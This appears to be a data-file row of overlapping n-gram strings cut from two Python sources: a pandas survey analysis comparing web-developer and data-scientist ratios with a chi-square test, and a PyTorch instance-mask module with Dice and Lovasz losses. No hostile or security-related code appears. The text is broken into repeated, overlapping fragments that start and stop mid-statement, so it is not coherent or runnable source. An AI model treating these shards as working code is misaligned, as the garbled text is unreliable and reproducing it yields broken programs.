==\",\n \"in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular'))\",\n \"ratio_others) # The null hypothesis is that they're the same. Let's see if\",\n \"list from our data dictionary names = [x.name for x in DATA_DICTIONARY] #\",\n \"x.usecol] # dtypes should be a dict of 'col_name' : dtype dtypes =\",\n \"'1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \\\\\",\n \"as pd import numpy as np import matplotlib.pyplot as plt import scipy.stats from\",\n \": 5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5' :\",\n \"# Let's see if there's a difference! # This is a categorical data\",\n \"'2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10':\",\n \"'No, I don’t use Python for my current projects'] # Considering we now\",\n \"categories left: # - Yes # - No, I use Python for secondary\",\n \"for x in DATA_DICTIONARY if x.usecol] # dtypes should be a dict of\",\n \"distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT)\",\n \"CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \\\\ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\\\\t\\\\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\\\\t\\\\t{others_numeric.mean().round(2)}\",\n \"comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x\",\n \"df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev / data scientist\",\n \"Load data # We want to take the names list from our data\",\n \"plt.show() #%% Calculate the predicted totals # Let's recode the ratios to numbers,\",\n \"= {x.name : x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv',\",\n \"means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1'\",\n \"ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals # Let's\",\n \"in DATA_DICTIONARY] # Generate the list of names to import usecols = [x.name\",\n \"ratios to numbers, and calculate the means CONVERSION = { '10:1': 10, '5:1'\",\n \"and calculate the means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1'\",\n \": dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype}\",\n \"ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show()\",\n \"rest of the survey. So let's drop them here. df = df[df['python_main'] !=\",\n \"have two categories left: # - Yes # - No, I use Python\",\n \"Let's recode the ratios to numbers, and calculate the means CONVERSION = {\",\n \"the data # dictionary. So we shouldn't sort it after counting the values.\",\n \"lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most\",\n \"# The null hypothesis is that they're the same. Let's see if we\",\n \"align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5\",\n \"ordered in the data # dictionary. So we shouldn't sort it after counting\",\n \"web dev / data scientist ratio # In the survey, respondents were asked\",\n \"{x.name : x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0,\",\n \"don’t use Python for my current projects'] # Considering we now only have\",\n \"a difference! # This is a categorical data point, and it's already ordered\",\n \"import DATA_DICTIONARY # Load data # We want to take the names list\",\n \"if x.dtype} # same for converters converters = {x.name : x.converter for x\",\n \"'10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2' :\",\n \"# disqualified from the rest of the survey. So let's drop them here.\",\n \"from our data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate\",\n \"use Python was then # disqualified from the rest of the survey. So\",\n \"here. df = df[df['python_main'] != 'No, I don’t use Python for my current\",\n \"We want to take the names list from our data dictionary names =\",\n \"# Let's recode the ratios to numbers, and calculate the means CONVERSION =\",\n \"if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up\",\n \"see if there's a difference! # This is a categorical data point, and\",\n \"# dtypes should be a dict of 'col_name' : dtype dtypes = {x.name\",\n \"dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} #\",\n \"only have two categories left: # - Yes # - No, I use\",\n \"# - No, I use Python for secondary projects only # Let's turn\",\n \"WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x,\",\n \"names = [x.name for x in DATA_DICTIONARY] # Generate the list of names\",\n \"of the survey. So let's drop them here. df = df[df['python_main'] != 'No,\",\n \"the rest of the survey. So let's drop them here. df = df[df['python_main']\",\n \"the names list from our data dictionary names = [x.name for x in\",\n \"# they were asked what they thought the most popular answer would be.\",\n \"they were asked what they thought the most popular answer would be. #\",\n \"be. # Let's see if there's a difference! # This is a categorical\",\n \"[x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should be a dict\",\n \"# We want to take the names list from our data dictionary names\",\n \"predicted totals # Let's recode the ratios to numbers, and calculate the means\",\n \"In the survey, any user who selected they don't use Python was then\",\n \"for converters converters = {x.name : x.converter for x in DATA_DICTIONARY if x.converter}\",\n \"devs / scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others)\"\n]","isConversational":false}}},{"rowIdx":1896,"cells":{"ngram":{"kind":"list like","value":["p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union =","loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances)","loss = 1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted):","proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed -","intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard","should be 0 return logits.sum() * 0. signs = 2. * labels.float() -","1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks =","1. errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0,","= (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1)","- intersection / union if p > 1: # cover 1-pixel case jaccard[1:p]","else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob,","2. * labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted,","union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension w.r.t","losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\":","pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1)","(x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) +","0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() *","= mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) >","mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed =","loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst,","proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride","nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target):","min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = [] for","torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps =","proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob","1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w,","self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask =","= 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1)","x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses","import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x","torch.log(x) - torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i],","1. - intersection / union if p > 1: # cover 1-pixel case","self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1]","- proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >=","jaccard = 1. - intersection / union if p > 1: # cover","F from torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations,","aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst,","union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss =","0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self,","dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss =","union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection /","gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask","gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper","cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha","at each prediction (between -\\infty and +\\infty) labels: [P] Tensor, binary ground truth","self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride))","-1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x)","from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps","pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds","torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride ==","gradients should be 0 return logits.sum() * 0. signs = 2. * labels.float()","perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad =","losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob","else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob","len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances","torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def","+= 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks","gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1","labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target):","self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances,","= cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] *","1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def","torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA","Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\\infty","mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"]","See Alg. 1 in paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection","+ (target ** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection","cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter","as F from torch import nn from torch.autograd import Variable from adet.utils.comm import","0. signs = 2. * labels.float() - 1. errors = (1. - logits","gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def","[P] Tensor, binary ground truth labels (0 or 1) \"\"\" if len(labels) ==","* 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances,","(1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm =","== \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask *","perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad))","mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w","compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x =","mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return","= perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return","self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi +","= dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob,","Variable, logits at each prediction (between -\\infty and +\\infty) labels: [P] Tensor, binary","in paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts -","loss logits: [P] Variable, logits at each prediction (between -\\infty and +\\infty) labels:","pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks","x = torch.log(x) - torch.log(1 - x) losses = [] for i in","(x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. -","+ eps loss = 1. - (2 * intersection / union) return loss","gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if","instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2,","mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses =","lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else:","len(labels) == 0: # only void pixels, the gradients should be 0 return","\"\"\" Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between","Tensor, binary ground truth labels (0 or 1) \"\"\" if len(labels) == 0:","intersection / union if p > 1: # cover 1-pixel case jaccard[1:p] =","Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm]","x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps)","eps loss = 1. - (2 * intersection / union) return loss def","lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6","* 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed,","m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var *","jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz","* Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted =","in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss","= x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x","[soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self,","def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension w.r.t sorted errors See","target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target =","len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts +","def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits: [P] Variable, logits at","= 2. * labels.float() - 1. errors = (1. - logits * Variable(signs))","m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var","= cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1","grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps","return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x =","the Lovasz extension w.r.t sorted errors See Alg. 1 in paper \"\"\" p","= instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0,","= instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:]","def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1)","Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst","= torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if","proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num =","self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha =","== \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\":","= proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1,","torch from torch.nn import functional as F from torch import nn from torch.autograd","errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True)","target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def","ground truth labels (0 or 1) \"\"\" if len(labels) == 0: # only","labels: [P] Tensor, binary ground truth labels (0 or 1) \"\"\" if len(labels)","union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] -","* labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm","pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses =","gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0","-1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x)","= jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge","gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for","0: # only void pixels, the gradients should be 0 return logits.sum() *","= gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union","cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels):","return logits.sum() * 0. signs = 2. * labels.float() - 1. errors =","len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 +","1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num,","pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num,","1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h,","intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target **","pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed","descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted),","= x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union","truth labels (0 or 1) \"\"\" if len(labels) == 0: # only void","-1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin,","-1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x","cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\",","pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] =","cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds","+ pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob","target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target =","MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi","functional as F from torch import nn from torch.autograd import Variable from adet.utils.comm","-1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1)","or 1) \"\"\" if len(labels) == 0: # only void pixels, the gradients","mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks)","sorted errors See Alg. 1 in paper \"\"\" p = len(gt_sorted) gts =","- x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss =","- 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors,","= torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted)","= torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride","= (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1.","import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5","self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter +=","1 in paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts","= 1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\"","of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper \"\"\"","# only void pixels, the gradients should be 0 return logits.sum() * 0.","import torch from torch.nn import functional as F from torch import nn from","Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in","gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p > 1: #","from torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear","gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1.","proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1,","= 1. - intersection / union if p > 1: # cover 1-pixel","[P] Variable, logits at each prediction (between -\\infty and +\\infty) labels: [P] Tensor,","def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels =","= cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training:","mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride)) return mask_prob","and +\\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) \"\"\"","__call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds","labels): \"\"\" Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction","return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks","only void pixels, the gradients should be 0 return logits.sum() * 0. signs","def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1)","m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var","pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if","return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits: [P] Variable,","instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim,","lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits: [P] Variable, logits at each","= target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1","\"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha","self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in","losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return","self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride)","soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", 